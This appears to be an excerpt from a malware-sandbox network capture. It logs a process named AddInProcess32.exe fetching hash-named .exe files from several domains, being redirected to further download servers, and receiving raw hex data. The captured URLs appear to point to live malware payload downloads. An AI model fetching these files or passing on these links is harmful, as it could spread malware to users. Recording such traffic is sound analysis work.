2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 Data Ascii: $9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	55591	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	79	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com
2024-03-11 02:30:57 UTC	701	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=D17gP%2FXzoeFGM9PaB7Luiz5b%2BZ0kGayE6Mi7WwtqCo7Cv5lFnWLOdO0CBqMmEYpvdETkmhYvkCmAKVb8aURbVy2s%2BuRLhT374E5aMvSqwkjFTpAztJJrgHkEjNUZklGu5nxR4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201f197069e3-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:57 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	55592	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	38	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink
2024-03-11 02:30:57 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik40Nklxa2kxbDduV2ZkMXpYbmsrUFE9PSIsInZhbHVlIjoieFdNcGFaWlV1OTUyQmlub2RzQkhwWTNkVjAwM0YrUTRFVW5DSmwyVDVtNzVGc2xzd2R6Z2JtK0RiVVNmc3FBeGNGYUlZZGEwbVg1QWpTZmZwcGttVGtxbktEakhpM24wZEhxdmdoSHR5a1ZSL1lIMWovQVVhZXNpMTZ2S0c0dEMiLCJtYWMiOiIzZjJjY2Y1MTJiOTU4N2U4MzQyN2FkNGM0YjUzZmRiMjMzOGM0ZWJlZmE3YjZjZDQ1N2YwNzg5Yjg0NjUzMWY0IiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:57 GMT; Max-Age=7200; path=/; secure set-cookie: shortiny_session=eyJpdiI6InZQT2xvOFp6L0J0b0hZQWJnNWlKWXc9PSIsInZhbHVlIjoieGhxb2NsR21xTlRqbThyUjRVRTIxWHhYSWNXOGI1NXZSNngvUThlcExybE1FNExwZUxBVWh0SVltWFRTaWJXTE5YNElCSi9BUDNqb3ZnL1I5aGtNWDZMSE80Uk5Da0tLVUtEUGYxQy9vOUxNWWZyVkpwSDRLVVJkOUlRb2hzVTAiLCJtYWMiOiIzNWNhMDFiZGMzNTVlMThlYjNkNTAwNTZhYzEwZDRlZTA5NThhM2Y0MGU0YWZhNDFhM2U5YTI4NjQ5NTVkM2FkIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:57 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
2024-03-11 02:30:57 UTC	389	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 46 61 4e 36 76 72 64 4e 78 74 6c 74 67 65 6f 71 50 74 4f 74 6b 64 30 4f 79 34 53 79 46 4a 55 77 75 6e 67 73 45 6c 67 50 47 55 39 62 7a 45 74 44 78 68 4a 67 5a 63 6c 34 69 53 45 77 4a 63 59 36 33 41 41 36 37 69 33 68 75 53 48 44 52 56 59 25 32 46 37 5a 57 67 49 63 63 66 4c 39 76 6a 76 72 58 37 76 68 70 5a 57 39 6f 36 52 79 63 65 38 42 76 6e 36 4d 55 33 64 32 50 64 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FaN6vrdNxtltgeoqPtOtkd0Oy4SyFJUwungsElgPGU9bzEtDxhJgZcl4iSEwJcY63AA67i3huSHDRVY%2F7ZWgIccfL9vjvrX7vhpZW9o6Ryce8Bvn6MU3d2Pd"}],"group":"cf-nel","max_age":604800}NEL: {"success_
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 65 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1b<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
2024-03-11 02:30:57 UTC	880	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:30:57 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	55593	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	74	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org
2024-03-11 02:30:57 UTC	693	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QNhHGmBJhiBFiU1%2FscEQucKA%2F25%2B0IFC6muqhWw1aB%2F%2FwjQhLVS1q63FkOlZT30LEdqN2UejyHv1Wx2BoCuO4IpGseuoc0eUMCr7oKTCzU05hPxH9%2Bv9RezDgFjkZ88%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201fa9750ad5-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:57 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	55597	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	79	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com
2024-03-11 02:30:57 UTC	705	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LkYgLdfctpTx4Ksah3W3T7bzYXEheqXWr9%2B8I5PwsObcp%2BkMZrt5Hh0iFTBWiHg%2Bw2MzheguONh9ONyJXuGOQxahnfKFDugHOnDqWm%2FpCXTNci4CCn3AhY6A%2FNKEobHMZMzIYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201fceae0add-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:57 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	55599	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	74	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org
2024-03-11 02:30:57 UTC	687	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=liFLCiAWd0sLOQvTs%2FAHWkmuNQt1y9AZyGFnC9PyqjK3TiVQAPXCwgR9k50vWChhwFCTTPhZol8pZIu9vF5a2OVy%2FsNGrkwSqKQ2xSI1UC7%2BXDhDnKHUxVOkXxYPRFk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201fcea809f5-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:57 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	55598	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	38	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink
2024-03-11 02:30:57 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6IjN4TmxFVUNjQmxNNHIxVm9iNHpYbkE9PSIsInZhbHVlIjoiSjhtM25aeUJ3Y0lqbks1RWNoUU5uMGROV0F4RVVoTlNHa3ZFcHd4dnhYMlNFWE9KQU9ubDBZNERyMDdXRzJUb2hSWjRYOUZSZnBnVTBnTlN0STRRQ3JUdUVTRDNNcSsxRXk5MmNQcXNVWmxrSjNZbXdHTmtnaHg0RHdyQ0hCNW4iLCJtYWMiOiIzNDI1MmRmZDljMzk2N2RkY2IzOTVjZWZlODNkY2QzY2M3ZTJiODY1YjRmOTZjMDRjNDYxODY2YjllYWY4MzYzIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:57 GMT; Max-Age=7200; path=/; secure set-cookie: shortiny_session=eyJpdiI6IjVNUmlmWUJMOXFYWHZncm41Y1BuNUE9PSIsInZhbHVlIjoiamR3b2RlUG9QSWcybWwwSmU5NXVDdFBIeDhzVUpxdmx2NHppdCszcUxhc2dFWWtQOE9Hck55SWJyZ1hBZFBrNGVBV29sQzZBQmdBZ0IyYlJES3QvYnd2VHNsR3JFYXFra0w4OEFlV0psZm8yZkNoTFJEZWlVT1EwU3dENUl6RHQiLCJtYWMiOiIyN2NmY2U5MGUyNTc1NWVkMmFkNTYyNjlkZDVkMDUxMjBhY2M4M2YxYjRkNDI3YmI2ZDRhZWNmODQ2MGYwYjdjIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:57 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
2024-03-11 02:30:57 UTC	395	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 43 65 63 4e 52 63 6d 30 66 30 78 63 4e 55 55 53 50 67 4b 47 33 47 78 6d 74 25 32 46 37 6f 4a 55 61 63 51 4f 44 25 32 46 34 4d 41 45 73 4c 64 30 51 6e 54 47 73 50 70 46 58 51 53 25 32 46 36 76 4e 70 50 43 57 52 6a 31 76 51 61 51 46 75 75 56 75 75 69 30 51 4d 63 46 75 74 36 35 4a 58 66 64 76 78 48 77 57 36 65 41 43 41 47 6b 50 53 6c 6b 37 77 4a 67 44 62 4b 25 32 46 6d 42 61 55 39 55 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CecNRcm0f0xcNUUSPgKG3Gxmt%2F7oJUacQOD%2F4MAEsLd0QnTGsPpFXQS%2F6vNpPCWRj1vQaQFuuVuui0QMcFut65JXfdvxHwW6eACAGkPSlk7wJgDbK%2FmBaU9U"}],"group":"cf-nel","max_age":604800}NEL: {"su
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 65 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1b<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
2024-03-11 02:30:57 UTC	880	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:30:57 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-03-11 02:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	55602	172.67.169.89	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:57 UTC	41	OUT	GET /RNWPd.exe HTTP/1.1 Host: yip.su
2024-03-11 02:30:57 UTC	908	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close memory: 0.36199188232421875 expires: Mon, 11 Mar 2024 02:30:57 +0000 strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Last-Modified: Mon, 11 Mar 2024 02:30:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=44sLBJ%2FbRTv2dExM1OnXYs7kX3CaB%2BdoJhsQGEUdWFTxzTRTHj0hAuQ8On1278YnGkjT39rL8KPVkkeLk%2Bc81oXyJv%2Fnq3%2BznVFffYefI626C4%2FUcA2J%2B28%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86282020cbfd69e3-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:57 UTC	461	IN	Data Raw: 31 64 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c Data Ascii: 1d16<!DOCTYPE html><html lang="" class="html"><head><title></title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,
